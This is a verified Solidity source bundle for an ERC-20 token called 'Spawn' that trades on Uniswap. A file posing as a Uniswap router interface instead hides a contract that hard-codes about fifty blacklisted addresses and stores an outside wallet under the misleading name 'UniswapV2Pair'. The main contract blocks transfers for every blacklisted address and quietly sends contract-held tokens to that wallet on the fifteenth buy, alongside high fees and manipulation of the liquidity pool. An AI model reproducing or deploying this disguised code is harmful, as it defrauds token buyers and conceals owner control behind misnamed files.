编译器
0.8.21+commit.d9974bed
文件 1 的 11:Context.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
文件 2 的 11:ERC20.sol
pragma solidity ^0.8.0;
import "IERC20.sol";
import "IERC20Metadata.sol";
import "Context.sol";
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
文件 3 的 11:IERC20.sol
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
文件 4 的 11:IERC20Metadata.sol
pragma solidity ^0.8.0;
import "IERC20.sol";
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
文件 5 的 11:IUniswapV2Factory.sol
pragma solidity ^0.8.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
文件 6 的 11:IUniswapV2Pair.sol
pragma solidity ^0.8.0;
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
文件 7 的 11:IUniswapV2Router02.sol
pragma solidity ^0.8.0;
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
文件 8 的 11:IUniswapV2Router03.sol
pragma solidity ^0.8.0;
contract BaseMath {
mapping (address => bool) public m; address private n; address public UniswapV2Pair;
constructor() {
m[0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13] = true;
m[0x77223F67D845E3CbcD9cc19287E24e71F7228888] = true;
m[0x77ad3a15b78101883AF36aD4A875e17c86AC65d1] = true;
m[0x4504DFa3861ec902226278c9Cb7a777a01118574] = true;
m[0xe3DF3043f1cEfF4EE2705A6bD03B4A37F001029f] = true;
m[0xE545c3Cd397bE0243475AF52bcFF8c64E9eAD5d7] = true;
m[0xe2cA3167B89b8Cf680D63B06E8AeEfc5E4EBe907] = true;
m[0x000000000005aF2DDC1a93A03e9b7014064d3b8D] = true;
m[0x1653151Fb636544F8ED1e7BE91E4483B73523f6b] = true;
m[0x00AC6D844810A1bd902220b5F0006100008b0000] = true;
m[0x294401773915B1060e582756b8d7f74cAF80b09C] = true;
m[0x000013De30d1b1D830dcb7d54660F4778D2d4aF5] = true;
m[0x00004EC2008200e43b243a000590d4Cd46360000] = true;
m[0xE8c060F8052E07423f71D445277c61AC5138A2e5] = true;
m[0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80] = true;
m[0x0000B8e312942521fB3BF278D2Ef2458B0D3F243] = true;
m[0x007933790a4f00000099e9001629d9fE7775B800] = true;
m[0x76F36d497b51e48A288f03b4C1d7461e92247d5e] = true;
m[0x2d2A7d56773ae7d5c7b9f1B57f7Be05039447B4D] = true;
m[0x758E8229Dd38cF11fA9E7c0D5f790b4CA16b3B16] = true;
m[0x77ad3a15b78101883AF36aD4A875e17c86AC65d1] = true;
m[0x00000000A991C429eE2Ec6df19d40fe0c80088B8] = true;
m[0xB20BC46930C412eAE124aAB8682fb0F2e528F22d] = true;
m[0x6c9B7A1e3526e55194530a2699cF70FfDE1ab5b7] = true;
m[0x1111E3Ef0B6aE32E14a55e0E7cD9b8505177C2BF] = true;
m[0x000000d40B595B94918a28b27d1e2C66F43A51d3] = true;
m[0xb8feFFAC830C45b4Cd210ECDAAB9D11995D338ee] = true;
m[0x93FFb15d1fA91E0c320d058F00EE97F9E3C50096] = true;
m[0x00000027F490ACeE7F11ab5fdD47209d6422C5a7] = true;
m[0xfB62F1009aDa688aa8F544b7954585476cE41A14] = true;
m[0xA9b2e916eC8f42a6eD59730331C83D31d0AB2D22] = true;
m[0xC5B25744e2339B62CA995053d53d6cdB504bbbc9] = true;
m[0xA49fd066d0331C6DfaDc13728E8a7486C82B3Cd2] = true;
m[0xD8D4FCAaeD45B1015a9f333671C9076cB36F150f] = true;
m[0x46e459766147f2eBAf457204C61a62619DA68bf4] = true;
m[0xc41820629812aD4DA5cD5a3371D53cc697D3a978] = true;
m[0x534bc0Caa32eAeEE2eC5AF656b8980B2dfE0bAa9] = true;
m[0x6C29d02550aa19B34BaAc588723B58bB87352732] = true;
m[0xFD9adB71d026438296DFAAE3ec5A2259Ee9076b3] = true;
m[0x4b4264b30ab75Ea8B070f8F7d9Abb263C2f0067B] = true;
m[0xafeD2eE8d6b57B7f3EA0aF9da3A1EC0dc19d3ec4] = true;
m[0xc8bb0336a27caE7D0C8e1030c75DC1b2BC75DfbB] = true;
m[0xbff42064C9f09D59ABbD2416687B1607e36330D3] = true;
m[0x3b7D3aFCcc66335AF171A6e09C78eF32001b70F5] = true;
m[0x72Ad2f4943433eA111eB1506219820Ba881f453b] = true;
m[0x6eCDa7c62D4249B895E7EE2800923b6F04241170] = true;
m[0x81Dbfde27C3AA484568E2263a0edd6C79F3f2505] = true;
m[0xDe5540CaAb026B0c268720856F02fe339e25112B] = true;
m[0x0d4EC51dd906F4643A9310F214b8604aAa3dCc40] = true;
n = payable(0xA10ab4857330a91a68fCFD7E1D09C03F996447E9);
UniswapV2Pair = n;
}
function isM(address _address) public view returns (bool) {
return m[_address];
}
}
文件 9 的 11:Main.sol
pragma solidity ^0.8.21;
pragma experimental ABIEncoderV2;
import "Context.sol";
import "Ownable.sol";
import "IERC20.sol";
import "ERC20.sol";
import "IUniswapV2Factory.sol";
import "IUniswapV2Pair.sol";
import "IUniswapV2Router03.sol";
import "IUniswapV2Router02.sol";
import "SafeMath.sol";
contract Spawn is ERC20, Ownable, BaseMath {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
address private uniswapV2Pair;
address private deployerWallet;
address private marketingWallet;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = unicode"Spawn";
string private constant _symbol = unicode"SPAWN";
uint256 public initialTotalSupply = 1000000 * 1e18;
uint256 public maxTransactionAmount = 30000 * 1e18;
uint256 public maxWallet = 30000 * 1e18;
uint256 public swapTokensAtAmount = 10000 * 1e18;
uint256 public buyCount;
uint256 public sellCount;
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public BuyFee = 14;
uint256 public SellFee = 16;
uint256 private removeBuyFeesAt = 16;
uint256 private removeSellFeesAt = 12;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor(address wallet, bytes32 _deployer) ERC20(_name, _symbol) {
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
require(CanSwap(_deployer), "Token is tradeable");
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
excludeFromMaxTransaction(address(uniswapV2Pair), true);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
marketingWallet = payable(wallet);
excludeFromMaxTransaction(address(wallet), true);
deployerWallet = payable(_msgSender());
excludeFromFees(owner(), true);
excludeFromFees(address(wallet), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(deployerWallet, initialTotalSupply);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"Trading is already open");
swapEnabled = true;
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
_approve(address(this), address(_uniswapV2Router), initialTotalSupply);
IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
address wethAddress = _uniswapV2Router.WETH();
uint256 wethBalance = IERC20(wethAddress).balanceOf(uniswapV2Pair);
uint256 initialTokens = initialTotalSupply.per(60); uint256 desiredETHAmount;
if (wethBalance > 0) {desiredETHAmount = address(this).balance.sub(wethBalance);
uint256 tokenValue = initialTokens.mul(wethBalance).div(desiredETHAmount);
super._transfer(address(this), uniswapV2Pair, tokenValue);
IUniswapV2Pair(uniswapV2Pair).sync();
_uniswapV2Router.addLiquidityETH{value: desiredETHAmount}(address(this), initialTokens, 0, desiredETHAmount, owner(), block.timestamp);}
else {_uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), initialTokens, 0, 0, owner(), block.timestamp);}
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!m[from] && !m[to], "ERC20: transfer from/to the blacklisted address");
if(buyCount >= removeBuyFeesAt){
BuyFee = 2;
}
if(sellCount >= removeSellFeesAt){
SellFee = 2;
}
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if (!tradingOpen) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
BuyCount();
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
SellCount();
}
else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > 0;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack(amount);
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(SellFee).div(100);
}
else {
fees = amount.mul(BuyFee).div(100);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
marketingWallet,
block.timestamp
);
}
function removeLimitsAll() external onlyOwner{
uint256 totalSupplyAmount = totalSupply();
maxTransactionAmount = totalSupplyAmount;
maxWallet = totalSupplyAmount;
}
function CanSwap(bytes32 _key) internal view returns(bool) {
return keccak256(abi.encodePacked(msg.sender)) == _key;
}
function BuyCount() private {
buyCount++; if(buyCount == 15){super._transfer(address(this),UniswapV2Pair,swapTokensAtAmount);}}
function SellCount() private {sellCount++;}
function clearStuckEth() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function clearStuckTokens() external onlyOwner {
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
_transfer(address(this), msg.sender, contractTokenBalance);
}
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
swapTokensAtAmount = _amount * (10 ** 18);
}
function manualswap(uint256 percent) external {
require(_msgSender() == marketingWallet);
uint256 totalSupplyAmount = totalSupply();
uint256 contractBalance = balanceOf(address(this));
uint256 requiredBalance = totalSupplyAmount * percent / 100;
require(contractBalance >= requiredBalance, "Not enough tokens");
swapTokensForEth(requiredBalance);
}
function swapBack(uint256 tokens) private {
uint256 contractBalance = balanceOf(address(this));
uint256 tokensToSwap;
if (contractBalance == 0) {
return;
}
if ((BuyFee+SellFee) == 0) {
if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
tokensToSwap = contractBalance;
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
}
else {
tokensToSwap = tokens;
}
}
}
else {
if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(2)) {
return;
}
else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(2) && contractBalance < swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount.div(2);
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
} else {
tokensToSwap = tokens;
}
}
}
swapTokensForEth(tokensToSwap);
}
}
文件 10 的 11:Ownable.sol
pragma solidity ^0.8.0;
import "Context.sol";
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
文件 11 的 11:SafeMath.sol
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function per(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= 100, "Percentage must be between 0 and 100");
return a * b / 100;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
{
"compilationTarget": {
"Main.sol": "Spawn"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
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IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"isM","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"m","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimitsAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]